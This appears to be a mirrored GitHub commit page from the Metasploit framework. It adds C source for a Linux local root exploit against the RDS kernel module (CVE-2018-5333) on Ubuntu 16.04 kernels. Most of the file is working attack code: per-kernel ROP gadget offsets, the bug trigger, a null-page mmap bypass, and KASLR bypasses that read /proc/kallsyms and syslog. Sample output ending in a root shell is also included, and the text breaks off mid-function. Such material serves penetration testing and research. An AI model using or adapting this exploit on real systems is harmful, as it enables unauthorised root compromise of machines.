mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-02 07:40:19 +02:00
Add rds_atomic_free_op_null_pointer_deref_priv_esc (CVE-2018-5333)
This commit is contained in:
parent
4a5b8c6230
commit
36b6ceb56f
883
data/exploits/CVE-2018-5333/cve-2018-5333.c
Normal file
883
data/exploits/CVE-2018-5333/cve-2018-5333.c
Normal file
@ -0,0 +1,883 @@
|
||||
// Local root exploit for Linux RDS rds_atomic_free_op NULL pointer dereference
|
||||
// in the rds kernel module in the Linux kernel through 4.14.13 (CVE-2018-5333).
|
||||
//
|
||||
// Includes KASLR, SMEP, and mmap_min_addr bypasses. No SMAP bypass.
|
||||
//
|
||||
// Targets:
|
||||
// - Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116
|
||||
// - Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54
|
||||
//
|
||||
// The rds kernel module is not loaded by default on Ubuntu, and is blacklisted
|
||||
// in /etc/modprobe.d/blacklist-rare-network.conf to prevent autoloading.
|
||||
// - install: sudo apt install "linux-image-extra-$(uname -r)-generic"
|
||||
// - load: sudo insmod "/lib/modules/$(uname -r)/kernel/net/rds/rds.ko"
|
||||
//
|
||||
// This exploit is a modified extension of the original local root
|
||||
// proof of concept exploit written by wbowling as an example of using
|
||||
// CVE-2019-9213 to make previous kernel bugs exploitable:
|
||||
// - https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4
|
||||
//
|
||||
// The original exploit is based on the null pointer dereference
|
||||
// reproducer proof of concept and analysis by 0x36:
|
||||
// - https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
|
||||
//
|
||||
// wbowling has done most of the hard work, by utilising Jann Horn's
|
||||
// mmap_min_addr bypass technique (CVE-2019-9213), allowing userland to mmap
|
||||
// virtual address 0 (without which this bug would not be exploitable on
|
||||
// systems with a sufficiently large value for vm.mmap_min_addr);
|
||||
// and developing the appropriate ROP chain.
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
|
||||
//
|
||||
// This exploit adds offsets for additional kernels, and introduces some
|
||||
// additional features, such as KASLR bypasses and system checks, including:
|
||||
// - check if system supports SMAP
|
||||
// - check if system supports RDS sockets
|
||||
// - Jann Horn's mincore KASLR bypass via heap page disclosure (CVE-2017-16994)
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
|
||||
// - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
|
||||
// - https://grsecurity.net/~spender/exploits/exploit.txt
|
||||
// - xairy's syslog KASLR bypass (requires kernel.dmesg_restrict=0)
|
||||
// - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
|
||||
// - lizzie's perf_event_open KASLR bypass (requires kernel.perf_event_paranoid<2)
|
||||
// - https://blog.lizzie.io/kaslr-and-perf.html
|
||||
//
|
||||
// Shoutout to nstarke for adding additional kernel offsets.
|
||||
// - https://github.com/bcoles/kernel-exploits/pulls?q=author:nstarke+cve-2018-5333
|
||||
//
|
||||
// This exploit also uses various code patterns copied from:
|
||||
// - xairy's exploits:
|
||||
// - https://github.com/xairy/kernel-exploits
|
||||
// - vnik's kernel ROP code:
|
||||
// - https://github.com/vnik5287/kernel_rop
|
||||
// ---
|
||||
// $ gcc cve-2018-5333.c -o cve-2018-5333 -Wall
|
||||
// $ ./cve-2018-5333
|
||||
// Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)
|
||||
// [.] checking kernel version...
|
||||
// [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking system...
|
||||
// [~] done, looks good
|
||||
// [.] mapping null address...
|
||||
// [~] done, mapped null address
|
||||
// [.] KASLR bypass enabled, getting kernel base address
|
||||
// [.] trying /proc/kallsyms...
|
||||
// [-] kernel base not found in /proc/kallsyms
|
||||
// [.] trying syslog...
|
||||
// [-] kernel base not found in syslog
|
||||
// [.] trying perf_event_open sampling...
|
||||
// [.] done, kernel text: ffffffff9f000000
|
||||
// [.] commit_creds: ffffffff9f0a4cf0
|
||||
// [.] prepare_kernel_cred: ffffffff9f0a50e0
|
||||
// [.] mmapping fake stack...
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload 0x402119...
|
||||
// [+] got root
|
||||
// # id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// ---
|
||||
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-5333
|
||||
// <bcoles@gmail.com>
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/perf_event.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_SYSTEM_CHECKS 1
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
# define KERNEL_BASE_MIN 0xffffffff00000000ul
|
||||
# define KERNEL_BASE_MAX 0xffffffffff000000ul
|
||||
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
|
||||
# define ENABLE_KASLR_BYPASS_SYSLOG 1
|
||||
# define ENABLE_KASLR_BYPASS_PERF 1
|
||||
# define ENABLE_KASLR_BYPASS_MINCORE 1
|
||||
#endif
|
||||
|
||||
// Can be overwritten by argv[1]
|
||||
char *SHELL = "/bin/sh";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
// kernel target struct, using ROP chain from wbowling's exploit
|
||||
struct kernel_info {
|
||||
const char* kernel_version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xor_rdi; //: xor edi, edi ; ret
|
||||
uint64_t mov_rdi_rax; //: mov rdi, rax ; pop rbx ; mov rax, rdi ; pop r12 ; pop rbp ; ret
|
||||
uint64_t xchg_esp; //: xchg eax, esp ; shr bl, 0xbf ; xor eax, eax ; pop rbp ; ret
|
||||
uint64_t swapgs; //: swapgs ; pop rbp ; ret
|
||||
uint64_t iretq; //: iretq
|
||||
};
|
||||
|
||||
// Targets
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37-Ubuntu", 0xa21c0, 0xa25b0, 0x5d0c5, 0x178157, 0x3f8158, 0x64644, 0x4cc7da },
|
||||
{ "4.4.0-22-generic #40-Ubuntu", 0xa2220, 0xa2610, 0x5d0c5, 0x178217, 0x3f89e8, 0x64644, 0x7d005 },
|
||||
{ "4.4.0-24-generic #43-Ubuntu", 0xa2340, 0xa2730, 0x5d0c5, 0x178447, 0x3f98b8, 0x64644, 0x7d125 },
|
||||
{ "4.4.0-28-generic #47-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x178717, 0x3f9f38, 0x64644, 0x585dc },
|
||||
{ "4.4.0-31-generic #50-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125 },
|
||||
{ "4.4.0-38-generic #57-Ubuntu", 0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5 },
|
||||
{ "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 },
|
||||
{ "4.4.0-98-generic #121-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x17a427, 0x40a138, 0x64694, 0x4b243 },
|
||||
{ "4.4.0-108-generic #131-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
|
||||
{ "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
|
||||
{ "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
|
||||
{ "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },
|
||||
|
||||
/* Untested:
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0xa2670, 0xa2a60, 0x5d0c5, 0x178cf7, 0x404d78, 0x64634, 0x7d1a5 },
|
||||
{ "4.4.0-62-generic #83-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179747, 0x406a78, 0x64634, 0x7d1e5 },
|
||||
{ "4.4.0-63-generic #84-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
|
||||
{ "4.4.0-66-generic #87-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
|
||||
{ "4.4.0-70-generic #91-Ubuntu", 0xa27b0, 0xa2ba0, 0x5d0c5, 0x179847, 0x4070c8, 0x64664, 0x406eb },
|
||||
{ "4.4.0-79-generic #100-Ubuntu", 0xa2800, 0xa2bf0, 0x5d0c5, 0x179a67, 0x408338, 0x64664, 0x7d235 },
|
||||
{ "4.4.0-87-generic #110-Ubuntu", 0xa2860, 0xa2c50, 0x5d0c5, 0x179ca7, 0x408768, 0x64694, 0x7d285 },
|
||||
{ "4.4.0-89-generic #112-Ubuntu", 0xa28a0, 0xa2c90, 0x5d0c5, 0x179d27, 0x408ae8, 0x64694, 0x7d265 },
|
||||
{ "4.4.0-96-generic #119-Ubuntu", 0xa28c0, 0xa2cb0, 0x5d0c5, 0x179e27, 0x409a48, 0x64694, 0x7d235 },
|
||||
{ "4.4.0-97-generic #120-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x179e47, 0x409a58, 0x64694, 0x4ed41 },
|
||||
*/
|
||||
|
||||
{ "4.4.0-21-lowlatency #37-Ubuntu", 0xa3150, 0xa3560, 0x5e0c5, 0x17b2c7, 0x401288, 0x64d34, 0x7d95c },
|
||||
{ "4.4.0-22-lowlatency #40-Ubuntu", 0xa31c0, 0xa35d0, 0x5e0c5, 0x17b397, 0x401b48, 0x64d34, 0x7d9bc },
|
||||
{ "4.4.0-24-lowlatency #43-Ubuntu", 0xa32e0, 0xa36f0, 0x5e0c5, 0x17b5e7, 0x402958, 0x64d34, 0x7dadc },
|
||||
{ "4.4.0-28-lowlatency #47-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b8c7, 0x402f48, 0x64d34, 0x7dadc },
|
||||
//{ "4.4.0-31-lowlatency #50-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409018, 0x64d34, 0x7dadc },
|
||||
//{ "4.4.0-34-lowlatency #53-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409088, 0x64d34, 0x7dadc },
|
||||
{ "4.4.0-36-lowlatency #55-Ubuntu", 0xa3430, 0xa3840, 0x5e0c5, 0x17b9e7, 0x409318, 0x64d24, 0x7dacc },
|
||||
{ "4.4.0-38-lowlatency #57-Ubuntu", 0xa3500, 0xa3910, 0x5e0c5, 0x17bcb7, 0x409b38, 0x64d24, 0x4c030 },
|
||||
{ "4.4.0-42-lowlatency #62-Ubuntu", 0xa3560, 0xa3970, 0x5e0c5, 0x17bcf7, 0x409f68, 0x64d24, 0x7db6c },
|
||||
{ "4.4.0-98-lowlatency #121-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d737, 0x413408, 0x64d84, 0x24454 },
|
||||
{ "4.4.0-109-lowlatency #132-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac },
|
||||
{ "4.4.0-112-lowlatency #135-Ubuntu", 0xa5bd0, 0xa5fe0, 0x5f0c5, 0x17f9a7, 0x415448, 0x65d94, 0x7f8dc },
|
||||
{ "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef },
|
||||
|
||||
{ "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-36-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-39-generic #42~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-41-generic #44~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-42-generic #45~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dea8, 0x642f4, 0x5c4f3 },
|
||||
{ "4.8.0-44-generic #47~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-45-generic #48~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-46-generic #49~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-49-generic #52~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-51-generic #54~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-52-generic #55~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-53-generic #56~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-54-generic #57~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
|
||||
//{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b },
|
||||
//{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b },
|
||||
|
||||
{ "4.8.0-34-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
|
||||
{ "4.8.0-36-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
|
||||
//{ "4.8.0-39-lowlatency #42~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
|
||||
{ "4.8.0-41-lowlatency #44~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
|
||||
{ "4.8.0-42-lowlatency #45~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447428, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-44-lowlatency #47~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-45-lowlatency #48~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-46-lowlatency #49~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-49-lowlatency #52~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-51-lowlatency #54~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-52-lowlatency #55~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-53-lowlatency #56~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-54-lowlatency #57~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x7f912 },
|
||||
//{ "4.8.0-56-lowlatency #61~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477f8, 0x649f4, 0x7f912 },
|
||||
//{ "4.8.0-58-lowlatency #63~16.04.1-Ubuntu", 0xa6ef0, 0xa7300, 0x5e0c5, 0x18aee7, 0x447568, 0x649f4, 0x7f932 },
|
||||
|
||||
//{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
|
||||
//{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
|
||||
//{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
|
||||
};
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
// https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
|
||||
|
||||
#define RAND_SIZE 4096
|
||||
|
||||
#ifndef SOL_RDS
|
||||
# define SOL_RDS 276
|
||||
#endif
|
||||
#ifndef RDS_CMSG_MASKED_ATOMIC_CSWP
|
||||
# define RDS_CMSG_MASKED_ATOMIC_CSWP 9
|
||||
#endif
|
||||
#ifndef AF_RDS
|
||||
# define AF_RDS 0x15
|
||||
#endif
|
||||
|
||||
void trigger_bug()
|
||||
{
|
||||
struct sockaddr_in sin;
|
||||
struct msghdr msg;
|
||||
char buf[RAND_SIZE];
|
||||
struct cmsghdr cmsg;
|
||||
|
||||
memset(&sin, 0, sizeof(struct sockaddr));
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
memset(buf, 0x40, sizeof(buf));
|
||||
memset(&cmsg, 0, sizeof(cmsg));
|
||||
|
||||
int fd = socket(AF_RDS, 5, 0);
|
||||
if(fd < 0) {
|
||||
dprintf("[-] socket(AF_RDS): %m\n");
|
||||
return;
|
||||
}
|
||||
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(2000);
|
||||
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
bind(fd, (struct sockaddr*)&sin, sizeof(sin));
|
||||
|
||||
cmsg.cmsg_len = RAND_SIZE;
|
||||
cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP;
|
||||
cmsg.cmsg_level = SOL_RDS;
|
||||
|
||||
memcpy(&buf[0], &cmsg, sizeof(cmsg));
|
||||
|
||||
*(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */
|
||||
|
||||
msg.msg_name = &sin;
|
||||
msg.msg_namelen = sizeof(sin);
|
||||
msg.msg_iov = NULL;
|
||||
msg.msg_iovlen = 0;
|
||||
msg.msg_control = buf;
|
||||
msg.msg_controllen = RAND_SIZE;
|
||||
msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL;
|
||||
|
||||
sendmsg(fd, &msg, 0);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * map null address * * * * * * * * * * * * *
|
||||
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
|
||||
|
||||
void map_null() {
|
||||
void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
|
||||
|
||||
if (map == MAP_FAILED) {
|
||||
dprintf("[-] mmap(null): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* path = "/proc/self/mem";
|
||||
int fd = open(path, O_RDWR);
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("open(%s): %m\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
unsigned long addr = (unsigned long)map;
|
||||
|
||||
while (addr != 0) {
|
||||
addr -= 0x1000;
|
||||
if (lseek(fd, addr, SEEK_SET) == -1) {
|
||||
dprintf("lseek()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
char cmd[1000];
|
||||
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
|
||||
system(cmd);
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * save state * * * * * * * * * * * * * * *
|
||||
// https://github.com/vnik5287/kernel_rop
|
||||
|
||||
unsigned long user_cs, user_ss, user_rflags;
|
||||
|
||||
static void save_state() {
|
||||
asm(
|
||||
"movq %%cs, %0\n"
|
||||
"movq %%ss, %1\n"
|
||||
"pushfq\n"
|
||||
"popq %2\n"
|
||||
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * SIGSEGV handler * * * * * * * * * * * * * *
|
||||
|
||||
void handler(int signo, siginfo_t* info, void* vcontext) {}
|
||||
|
||||
void debug_enable_sigsev_handler() {
|
||||
struct sigaction action;
|
||||
memset(&action, 0, sizeof(struct sigaction));
|
||||
action.sa_flags = SA_SIGINFO;
|
||||
action.sa_sigaction = handler;
|
||||
sigaction(SIGSEGV, &action, NULL);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
static int check_env() {
|
||||
int fd = socket(AF_RDS, 5, 0);
|
||||
if(fd < 0) {
|
||||
dprintf("[-] socket(AF_RDS): RDS kernel module not loaded?\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s): %m\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct stat st;
|
||||
|
||||
if (stat("/dev/grsec", &st) == 0) {
|
||||
dprintf("[!] Warning: grsec is in use\n");
|
||||
}
|
||||
|
||||
if (stat("/proc/sys/lkrg", &st) == 0) {
|
||||
dprintf("[!] Warning: lkrg is in use\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
#define KERNEL_VERSION_SIZE_BUFFER 512
|
||||
|
||||
void detect_versions() {
|
||||
struct utsname u;
|
||||
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version '%s' not recognized\n", kernel_version);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://grsecurity.net/~spender/exploits/exploit.txt
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_KALLSYMS
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s): %m\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
if (addr == 0)
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_SYSLOG
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
int mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
